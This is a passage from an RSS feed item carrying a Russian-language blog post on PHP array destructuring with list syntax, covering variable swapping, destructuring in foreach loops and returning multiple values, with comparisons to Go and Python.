// PHP Notice:  Undefined index: query</code></pre><p>В этом случае $query будет null. Еще одна деталь: с именованными деструкторами допускаются конечные запятые, так же как это делается в обычных массивах.</p><p><br></p><h3>Explode строки</h3><p>Если после explode строки вы хотите сразу представить результат как две отдельные переменные:</p><p><br></p><pre class="line-numbers"><code class="language-php">[$user, $repository] = explode('/', 'sinbadxiii/my-repo', 2);</code></pre><h3><br></h3><h3>Создание нескольких объектов</h3><p>Итак, вы создали несколько объектов одновременно, например с помощью фабрики, и хотите, чтобы они все были отдельными переменными:</p><p><br></p><pre class="line-numbers"><code class="language-php">[$userA, $userB, $userC] = factory(User::class, 3)-&gt;create();</code></pre><h3><br></h3><h3>Обмен значений переменных</h3><p>И мое любимое, это просто шедевр в синтаксисе PHP, например, вы хотите поменять местами две переменные;</p><p><br></p><pre class="line-numbers"><code class="language-php">$a = 'hello';
$b = 'world';

[$a, $b] = [$b, $a];

echo $a; // "world"
echo $b; // "hello"</code></pre><p>Что-то похожее есть на Python:</p><p><br></p><pre class="line-numbers"><code class="language-python">a, b = b, a</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">В циклах</span><br></p><p>Вы также можете использовать конструкцию списка в циклах:</p><p><br></p><pre class="line-numbers"><code class="language-php">$array = [
    [
        'name' =&gt; 'a',
        'id' =&gt; 1
    ],
    [
        'name' =&gt; 'b',
        'id' =&gt; 2
    ],
];

foreach ($array as ['id' =&gt; $id, 'name' =&gt; $name]) {
    // …
}</code></pre><p>Это может быть полезно при разборе файла, например, JSON или CSV. Но нужно быть осторожным, неопределенные ключи могут вызывать предупреждения.</p><h2>Несколько возвращаемых значений</h2><p>Некоторые языки допускают возвращение нескольких значений. Рассмотрим функцию, у которой в качестве параметра целое число и возвращает она два целых числа, одно из которых является $int + 5, другое $int - 5. Вот как это будет выглядеть в Go:</p><p><br></p><pre class="line-numbers"><code class="language-go">func addAndRemoveFive(i int) (int, int) {
    return i + 5, i - 5
}

func main() {
    x, y := addAndRemoveFive(10)
}</code></pre><p>Мы могли бы достичь что-то подобного, возвращая массив в PHP и немедленно его уничтожая:</p><p><br></p><pre class="line-numbers"><code class="language-php">function addAndRemoveFive(int $i): array {
    return [$i + 5, $i - 5];
}

[$x, $y] = addAndRemoveFive(10);

echo $x; // 15
echo $y; // 5</code></pre><p>Более реальная ситуация, когда несколько возвращаемых значений могут быть полезны, - это случаи, когда вы ожидаете статус и сообщение, например валидация;</p><p><br></p><pre class="line-numbers"><code class="language-php">[$valid, $reason] = $validator-&gt;validate($data);

if (! $valid) {
    return new JsonResponse(422, ['reason' =&gt; $reason]);
}

return new JsonResponse(200);</code></pre><p><br></p><p>Ну что, я вас убедил в полезности использования list в своем коде?<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/2</guid>
                <pubDate>2018-04-04T07:34:53+00:00</pubDate>
                            </item>
            </channel>
</rss>
